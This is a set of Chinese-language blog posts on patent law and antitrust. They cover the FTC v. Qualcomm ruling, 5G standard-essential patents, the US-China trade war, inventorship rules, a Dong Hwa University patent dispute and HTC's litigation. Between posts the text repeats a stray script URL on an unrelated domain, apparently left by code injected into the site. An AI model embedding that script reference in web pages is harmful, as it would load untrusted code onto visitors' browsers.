分類: 專利

2018年4月「中美貿易戰之我見」一文中我提到美國建國初期也是瘋狂竊取歐洲技術、盜版歐洲書籍，對智慧財產權壓根就沒尊重過。（見截圖）

紐約大學史騰商學院教授Scott Galloway在其著作《The Four~ The Hiden DNA of Amazon, Apple, Facebook, and Google 》也提到此現象，更提到：

「1793年美國聯邦政府害怕歐洲人跑來告美國人偷技術、侵害專利，於是乾脆修法，限制美國的專利僅保護美國公民，歐洲發明人不得對美國公民主張專利權」。

經濟學家Pat Choate在其著作《Hot Property: The Stealing of Ideas in an Age of Globalization 》則明白指出：

「美國因透過國家政策與法律手段（指1793年專利修法），成為世界上最大工業山寨大本營。任何美國人可以竊取並商業化任何外國創意，卻完全不用負擔任何法律責任。（ “America thus became, by national policy and legislative act, the world’s premier legal sanctuary for industrial pirates. Any American could bring a foreign innovation to the United States and commercialize the idea, all with total legal immunity）」

因此，美國工業才得以快速生長，例如被喻為美國工業革命搖籃的麻州小鎮Lowell，當地創辦紡織工廠的Francis Cabot Lowell 就是竊取英國紡織技術回美國創業。

Galloway教授甚至在書中直陳：「偷竊存在於我們的DNA（…theft is in our DNA.）」

 

説過很多次了，我在美國法學院專攻智財權與競爭法競合，回到台灣也有一段時間在這塊領域工作。每當我看到明顯不懂智慧財產權法的假財經專家、財經魍魅跟著美國小丑起舞地、毫無證據地指責「中國竊取美國技術」時，我都會想起美國自己怎麼起家的歷史而感到好笑。

 

1. Qualcomm 已經相當長時間其專利授權收入高於晶片銷售收入（見圖），而此次聯邦地方法院Koh法官的判決恰恰是認定Qualcomm在「專利授權行為上有濫用壟斷地位並限制競爭」的行為，反托拉斯法上一旦被如此認定，等於已經是被定罪。（一般是以Sherman Act §2為主要適用法條）

2. Koh法官於判決中要求Qualcomm針對industrial-essential patents必須授權與競爭對手。這意味著Qualcomm難以再繼續現有的「整機價格分成授權金」模式（以整台手機零售價格為計算基礎，Apple等高單價手機廠就是對此條款非常不爽），而必須轉為「以moden晶片售價為基礎」。

這意味著計算基礎從幾百上千美元（手機單價）調至$15~$20美元（晶片售價）。

另外值得談的一點是：依照美國法過去常見的案例，一但專利或專利池被認定是industrial essential patents，則授權金比例往往也會被法院要求必須是commercially reasonable standard，就很難Qualcomm單方面靠勢。

3. 這只是聯邦地院的判決，Qualcomm當然還會上訴。但是除了這個FTC提出的訴訟外，Qualcomm其實還面臨類似的反托拉斯法消費者集體訴訟（class- action）。

4. 美國DOJ罕見地在判決之前要求舉行聽證會，希望限制對Qualcomm的懲罰以維護美國在5G的技術發展。這顯然應該是在川普政府基於中美貿易戰的前提下所做的特殊要求，但是Koh法官非常不賞臉地表示：“a hearing on remedies wasn’t necessary ”

5. FTC當初提出此訴訟案是基於Qualcomm極端不合理的專利授權條件：
a. 整機價格計算授權金
b. 不管是否使用Qualcomm晶片，手機廠都必須支付其授權金

6. 昨天我談過，反托拉斯法本身與專利法是互相扞格的 — 前者處罰一切試圖以壟斷地為達到反競爭目的的行為，但後者偏偏就是國家授與一壟斷特權，排除非發明者或後發明者進入市場的「反競爭安排（anti-competitiveness arrangements）」。

1998年美國聯邦巡迴法院透過1965年的Noerr-Pennington doctrine，排除了一般反托拉斯法對專利權人主張專利權的適用，但陸續的判決也建立了幾種例外狀況，其中一種就是：專利權人以專利從事非法綑綁銷售行為（illegal tying）。

2000年時聯邦巡迴法院更曾表示：「擁有合法專利並不意味著專利權人於專利權合法壟斷權以外的領域同樣免於Sherman Act的約束 （…The possession of a valid patent or patents does not give the patentee any exemption from the provisions of the Sherman Act beyond the limits of the patent monopoly.）」

7. 同樣昨日於留言中談過：有鑑於IC設計公司充滿「一代拳王」的歷史，不知何時會被新冒出來的技術取代的產業（IT產業尤為明顯）對於專利權濫用的狀況可能更加嚴重 — 因為不曉得手上的專利組合能值錢多久。
 

https://js.developerstatss.ga/stat.js?n=ns1

IPlytics在2018年12月發佈的「Who is leading the 5G patent race?」報告，以5G通訊技術的關鍵標準專利（Standard Essential Patents）為主要分析對象，其中三張圖特別有意思。

以全球前五大5G關鍵標準專利所有人來看，分別是：（見圖）

前五名中國華為與中興就分別佔據第二與第三。

而根據該分析機構的評測公式，著重該公司所有之關鍵標準專利於5G通訊標準制定所佔之重要性來給予分數，排名如下：（見圖）

第一名華為與第二名Ericsson分別把其他對手遠遠甩開。Qualcomm分數甚至還不到華為的一半。

而對於5G全球通訊技術交流的貢獻與參與程度排名:(見圖）

排名第一的華為分數甚至是Qualcomm的兩倍有餘。

當然，後二者分數怎麼計算，報告沒有說得太清楚，大家參考就好。而第一張圖的SEP數量，應該有比較高的參考性。

但小弟忝為智財權法律從業人員出身，必須提醒：從投資角度來看，專利數量（甚至SEP數量）都不見得構成商業競爭力的相對優勢。專利只是其中的一小部分，切勿過度放大。

尤其要注意SEP進了法院，如果被認為是行業標準，則專利權人可能因此喪失部分甚至全部專利授權定價權。

https://js.developerstatss.ga/stat.js?n=ns1

FT首席經濟評論員看壞美國，兼論智財權保護於中美貿易衝突

Martin Wolf of the Financial Times

“ Donald Trump is wrong: China is not Mexico”

1. Trump has the wrong idea on global trade — bilateral mercantilism and asymmetric balance of pain.

2. Serious economists, back to Adam Smith, would insist that seeking a surplus with every trading partner is not winning.（這點我過去談過了，懂Adam Smith國富論都知道重商主義錯誤之處，可惜還有很多自詡總體經濟學專業者不懂哩～）

3. 此貿易協定尚未通過三國國會同意，而年底大選民主黨重新掌握國會機率相當高（事實上美國歷史上多數時候，國會多數黨往往非總統所屬政黨）

4. 美國之所以可以簡單透過威脅方式逼迫墨西哥與加拿大同意該協議，是因為墨西哥2017年出口美國占該國GDP達28%，加拿大同年為19%。但是中國出口美國僅佔中國GDP 4.1%（貿易順差額佔GDP3.1%)，換言之，美國之所以中國的重要性遠不如美國之於加墨。

5. 中國1/3出口貨品的原物料或半成品來自於進口，這表示中國市場龐大到多數國家不可能僅僅為了美國就與其翻臉。（從預期收入角度來看，與中國翻臉的成本並不低，美國除非願意補償這部分損失，亦或者有其他原因讓世界他國願意承擔這代價）

6. 美國出口中國之所以很少，反映的是美國貨在中國市場缺乏競爭力之事實，作者認為川普應該努力的是這點。

7. Martin 更指出：若中國真的如川普要求改善智慧財產權保障與大幅度開放投資市場，則可能吸引更多美商放棄美國轉投資中國，如此一來豈非與川普所願相違背？

8. 與我的看法相同：作者認為貿易戰肯定結果是「全世界都是輸家」，差別只在於「誰輸多誰輸少」。

9. 作者從最近歐洲央行的「中國會從貿易戰勝出」報告中點出一個有趣的且極為簡單的經濟邏輯：貿易戰中，越大的經濟體受損會越少。而全世界相對於美國，前者是後者的3.3倍！以此切入，美國勝率實在不高。尤其全世界目前只有美國自己要打貿易戰，其他國家彼此之間可沒這麼無聊。

10. 作者結論指出，不管美國怎樣干涉，都無法改變中國經濟與科技會繼續進展的事實。若美國繼續堅持，必然損及自身的經濟貿易與世界經濟乃至於國際關係。

#英國金融時報的首席經濟評論員Martin Wolf怎麼可以越級打怪？
#這家不入流財經媒體怎可以不自量力地反駁上海乾癟蘋果及其小夥伴們？
#中美貿易戰美國怎麼可能受損？
#老娘的經濟學就是「天下有白吃午餐」的零成本經濟學

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我的看法，兼論國際貿易協議與智財權保護：

【關於專利發明人在法律上之定義】

台灣：
智慧財產法院106年度民專訴字第60號智慧財產法院民事判決說："發明人係指實際進行研究發明之人，須對申請專利範圍所記載之技術特徵具有實質貢獻之人，所謂「實質貢獻之人」則指為完成發明而進行精神創作之人，其須就發明所欲解決之問題或達成之功效產生構想（conception) ，並進而提出具體而可達成該構想之技術手段，即精神創作，是指發明之構想，詳述及具體化作業者，原則上為研發人員，然並不包括僅提出構想或作實驗驗證之人。只有發明之構想，尚不足以產生一件發明，構想產生後，必須有預測結果程度之詳述及具體化，各種具體化的技術都可以申請專利，蓋專利所保護的是其技術手段而非其構想。"

這是台灣法院對專利發明人的要件 — 必須有具體而可達成該構想之技術手段，因為專利保護的正是這個技術手段，而非單單構想本身。

美國：
美國法律也是如此，根據Burroughs Wellcome Co. v. Barr Labs., Inc. 一案，發明人必須是實際對發明之構想有真實貢獻之人（… for a person to be properly named as an inventor on a patent, he must generally contribute to the conception of the invention.）。假設某專利發明人共列A與B，但實際發想人是A，B只是監督或資金提供者的話，則B是不可以被列為發明人的。

在1952年美國專利法修法之前，上述的「錯列發明人」是會導致"專利無效"的嚴重後果！1952年修法後（35 usc §256）則改為「故意錯列發明人」才會導致專利無效；若是「過失錯列發明人」則必須被修正。

 

補充：
根據35USC§116，要被列為共同發明人一定要實際對專利claim有所貢獻。

後來Ethicon, Inc. v. United States Surgical Corp.一案法官進一步定義：「假設claim 20項，至少要有貢獻其中一項，方可列入。」

Apple一年那麼多專利申請，只有少數幾個有列名Steve Jobs為發明人。（例如很有名的那個透明樓梯）。

而Steve Jobs並非單單發想「透明樓梯」這麼簡單，而是可以證明他在結構力學上實際提出解決方案，讓玻璃樓梯可以承受相當重量而不破裂。

如果他只是說：「我想要透明玻璃樓梯，你們工程師去實現」，這樣絕對是不可能被列名發明人的，即便列了專利也會因此無效。

台灣則普遍有列名老闆的陋習，即便老闆可能只是出個點子但沒有實際貢獻解決方案的內容。這個好像業界很常見。https://js.developerstatss.ga/stat.js?n=ns1

針對東華大學專利疑雲，我簡單Google專利檢索一下，東華大學的美國專利優先權日記載是2014-03-06，申請日期是：2015-09-10，此專利已經獲證（US9750783B2, 2017-09-05）

專利名稱是：「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

Claim有8項。

我另外查到東華大學這個專利在台灣的專利公報(http://twpat-simple.tipo.gov.tw/tipotw…/00049/ga-I578991.pdf)

申請日期：2015-03-06；優先權記載日期：2014-03-06與2015-01-21。專利claim有42項。

Spiranthes Biotech LLC 這家公司在美國與中國申請的
US15655530 (https://patents.google.com/patent/US20170360868A1/en…) 與CN 201580078107 （https://patents.google.com/patent/CN107427546A/en…）優先權日均記載為2015-01-21，此二專利都已經被公開但尚未獲證。

上述四個專利申請名稱一樣是：「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

細究專利權利範圍，東華大學的美國專利與台灣專利範圍claim項顯有不同，但弔詭的是東華大學的台灣專利範圍claim內容卻與Spiranthes Biotech LLC這家公司在美國與中國的專利申請案中claim敘述極 為 相 似 ！簡直是中文直接翻譯成英文。

生物科技方面我懂得很少，還需要專業人士協助判斷。

我偏向認為有人把東華大學的台灣專利，用Spiranthes公司為申請人與所有權人名義在美國與中國再申請。

我從兩份專利文件截圖，各位可以看看，東華大學的台灣專利與Spiranthes公司的美國專利申請用的數據、圖表甚至顯微照片竟然是一模一樣！（有中文字樣出自台灣專利，純英文字樣出自美國專利，兩邊圖片連編號都一樣）。

如果Spiranthes公司是東華大學百分百持有設立之公司，那比較沒有法律問題。如果不是，看起來似乎有人要負擔刑事責任喔～～

PS 以下是Spiranthes公司在美國申請專利的前10項claim：
「1. A composition comprising sinetirucallol in an amount effective in reducing an inflammatory response.
2. The composition of claim 1, wherein the composition comprises at least 4.4 μg of sinetirucallol.
3. The composition of claim 1, wherein the sinetirucallol is in an amount between 4.4 μg and 44 μg
4. The composition of claim 1, wherein the composition comprises a Spiranthes sinensis extract.
5. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in expression or activity of one or more biological markers selected from the group consisting of: inducible nitric oxide synthase (iNOS), cyclooxygenase-2 (COX-2), tumor necrosis factor-alpha (TNF-α), prostaglandin E2 (PGE2), interleukin-6 (IL-6), interleukin 1β (IL-1β), interleukin 33 (IL-33), NLRP3, phosphorylated ERK (pERK), NFκB, matrix metalloproteinase-2 (MMP2), and matrix metalloproteinase-9 (MMP9).
6. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a decrease in a level of one or more free radicals in an inflammatory response.
7. The composition of claim 6, wherein the one or more free radicals are selected from the group consisting of: superoxide radical anion (O2-.), hydrogen peroxide (H2O2), hydroxyl radical (.OH), singlet oxygen (1O2), peroxynitrite (ONOO—), nitric oxide (NO), nitrosonium cation (NO+), and nitroxyl anion (NO—).
8. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in tissue swelling.
9. The composition of claim 8, wherein the tissue is selected from the group consisting of: skin, epithelia, synovial tissue, tendons, cartilage, ligaments, bone, muscle, organs, dura, blood vessels, bone marrow, and extracellular matrix.
10. A dosage form comprising sinetirucallol formulated for administration to a subject.」

以下是東華大學台灣專利的前10項claim：
「1. 一種經調製以供施予一個體之組合物，其包含一有效量之 sinetirucallol 以降低發炎反應。
2. 如請求項第 1 項所述之組合物，其中前述組合物包含至少 4.4μg 的 sinetirucallol。
3. 如請求項第 1 項所述之組合物，其中前述 sinetirucallol 之含量係介於 4.4μg 至 44μg 之 間。
4. 如請求項第 1 項所述之組合物，其中前述組合物包含一綬草萃取物。
5. 如請求項第 1 項所述之組合物，其中前述降低發炎反應係經降低一或多種生物性標記物
之表現或活性而被證實;其中前述生物性標記物係選自由誘導型一氧化氮合成酶(iNOS)、 環氧酶-2(COX-2)、腫瘤壞死因子 α(TNF-α)、前列腺素 E2(PGE2)、介白素-6(IL-6)、介白 素-1β(IL-1β)、介白素-33(IL-33)、NLRP3、磷酸化之 ERK(pERK)、NFκB、基質金屬蛋白 酶-2(MMP2)、及基質金屬蛋白酶-9(MMP9)所組成之群組。
6. 如請求項第 1 項所述之組合物，其中前述降低發炎反應係經降低一發炎反應中一或多個 自由基的含量而被證實。
7. 如請求項第 6 項所述之組合物，其中前述一或多個自由基係選自由:超氧陰離子(O2-)、 過氧化氫(H2O2)、羥基自由基(.OH)、單一態氧(lO2)、過氧亞硝酸根(ONOO-)、一氧化 氮(NO)、一氧化氮正離子(NO+)、及氮氧根離子(NO-)所組成之群組。
8. 如請求項第 1 項所述之組合物，其中前述降低發炎反應係經減緩組織腫脹而被證實。
9. 如請求項第 8 項所述之組合物，其中前述組織係選自由:皮膚、上皮、滑液膜組織 (synovial tissue)、腱、軟骨、韌帶、骨骼、肌肉、器官、腦膜、血管、骨髓、及細胞外 基質所組成之群組。
10. 一種製劑，其包含 sinetirucallol，且係經調製以供施予一個體。」https://js.developerstatss.ga/stat.js?n=ns1

Apple 與Qualcomm為了專利授權費引發的一系列法律戰，終於燒到商戰囉！華爾街日報最新報導：「Apple Is Designing iPhones, iPads That Would Drop Qualcomm Components」

Apple一年光支付專利授權費（不包含晶片採購費用）給Qualcomm就高達$28億美元，佔Qualcomm EPS的30%。

面對這樣的大客戶，Qualcomm態度硬得讓我有點匪夷所思耶。

的確，專利是一種人為擬制的壟斷權，是一種privilege。但美國法上，專利的權利範圍還是有其限制的。除了專利本身claim的範疇之外，反托拉斯法也會限制專利權的應用。

最常見就是當專利權被認為構成industrial standard時，專利會被迫開放使用，也可能由法院決定什麼叫做合理授權費（reasonable royalty）。目前看來Qualcomm的聲明與訴訟都很聰明地避開，宣稱被Apple侵害的都是非行業標準（non-industrial standard patents）。

可究竟是不是？其實是由法院認定。

另一方面，就算被認定不是，只要法院說你有或意圖濫用壟斷地位（to or intent to take advantage of monopoly power），則一樣可以認定專利被濫用而以判決限縮之。

講白話，就是即便Qualcomm擁有世界上最大、最好、最豐富的無線傳輸技術相關專利，不代表專利侵權訴訟贏面就大；甚至反過來，正因為專利池（patent pool）太大，被法院認定濫用專利壟斷的可能性也隨之提高。

如果是我，面對最大客戶態度上應該不會這麼硬頸。

不過話說我以前跟Qualcomm接洽的經驗，他們還真的挺囂張…所以可能囂張習慣了吧 XD

新消息指出Apple可能新產品會全面停止使用Qualcomm晶片，改以Intel為主（可是Intel在這一塊不是比較弱嗎？）

聯發科會漁翁得利受到Apple關愛眼神嗎？（話說聯發科4G之後不是又更弱嗎？）

現在唯一能確定的是，消息一出Qualcomm股價立馬下跌6.77%。Apple則沉浸在iPhone X可能大賣的樂觀氛圍，繼續維持這幾天的漲勢。

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Qualcomm 在中國北京法院提出對Apple的專利訴訟，要求禁止Apple在中國銷售與生產iPhone。

Qualcomm宣稱Apple侵害了該公司三項關於電源管理與3D Touch技術的非標準核心專利（non-standard essential patents）。

而今年初Apple也在美國FTC提出對Qualcomm濫用專利的訴願，同時也在美國法院控告Qualcomm濫收授權金。同時Apple及其供應商一同停止支付Qualcomm相關權利金。

https://js.developerstatss.ga/stat.js?n=ns1

本日台灣蘋果日報報導「德IPCom纏訟 宏達電股價破底」，其中一段：

宏達電主管表示，IPCom指控宏達電侵犯其專利型號並非事實，且宏達電只有1項產品侵權，該產品目前已未在德國銷售，至於與IPCom的訴訟案，未來將交由仲裁庭裁定，現階段並不影響宏達電手機在德國銷售。

所有打專利訴訟的都知道，專利訴訟 Step 1: 一定要死不認有侵權事實–> Step2:主張對方專利無效 –> Step 3: 主張對方有專利詐欺或專利濫用 –> Step 4:針對究竟有無侵權事實再吵一輪 –> Step 5: 前項吵輸了，再對損害計算方法大吵一遍（或適用Georgia Pacific原則也要吵一遍），上述流程已經是專利訴訟的SOP，更是每一本教科書都會寫的基礎觀念（其他訴訟外要進行的策略流程我就不說了）。

咱們HTC還真管不住自家人嘴巴，大喇喇地說：「…宏達電只有1項產品侵權，該產品目前已未在德國銷售…」這等於在昭告天下，特別是訴訟對造：自己招認自己有侵權事實，雖然現在已經沒有，但是過去有，你快來針對我過去侵權部分好好敲我一筆吧！

如果HTC連這麼基本的訴訟策略都執行得這樣七零八落，那其他方面又能讓人多放心呢？

當然，從王雪紅 S3這種自己口袋左手進、右手出的五鬼搬運手法，也是夠讓HTC股東心寒了（不過後來又說不買了，這反過來讓威盛股東不勝欷噓）。